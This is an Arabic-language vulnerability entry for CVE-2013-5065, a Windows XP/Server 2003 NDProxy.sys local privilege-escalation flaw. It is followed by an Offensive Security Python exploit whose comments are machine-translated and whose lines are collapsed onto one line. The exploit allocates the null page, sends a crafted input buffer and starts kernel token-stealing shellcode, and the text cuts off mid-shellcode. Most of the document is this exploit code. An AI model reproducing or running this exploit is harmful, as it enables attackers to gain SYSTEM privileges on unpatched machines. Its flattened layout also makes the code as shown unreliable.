CVE-2013-5065

ملخص

NDProxy.sys في النواة في Microsoft Windows XP SP2 وSP3 وServer 2003 SP2 يسمح للمستخدمين المحليين باكتساب امتيازات عبر تطبيق مُصمَّم بعناية، كما تم استغلاله في البرية في نوفمبر 2013.

• RobbinHoodاستغلال

  # تصعيد صلاحيات النظام المحلي لـ NDPROXY # http://www.offensive-security.com # تم اختباره على ويندوز إكس بي SP3 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/ # الانهيار الأصلي ... إلغاء مرجعية مؤشر فارغ # انتهاك الوصول - الكود c0000005 (!!! فرصة ثانية !!!) # 00000038 ?? ??? from ctypes import * from ctypes.wintypes import * import os, sys kernel32 = windll.kernel32 ntdll = windll.ntdll GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 MEM_FREE = 0x00010000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = 2097151 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0 def log(msg): print msg def getLastError(): """[-] تنسيق GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value) else: log("[-] خطأ غير معروف") print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] تم العثور على الثغرة وهي تُستغل في البرية" print "[*] تمت البرمجة بواسطة Offensive Security" tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp) dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS: print "[+] حدث خطأ أثناء تخصيص ذاكرة الصفحة الفارغة: %s" % dwStatus getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8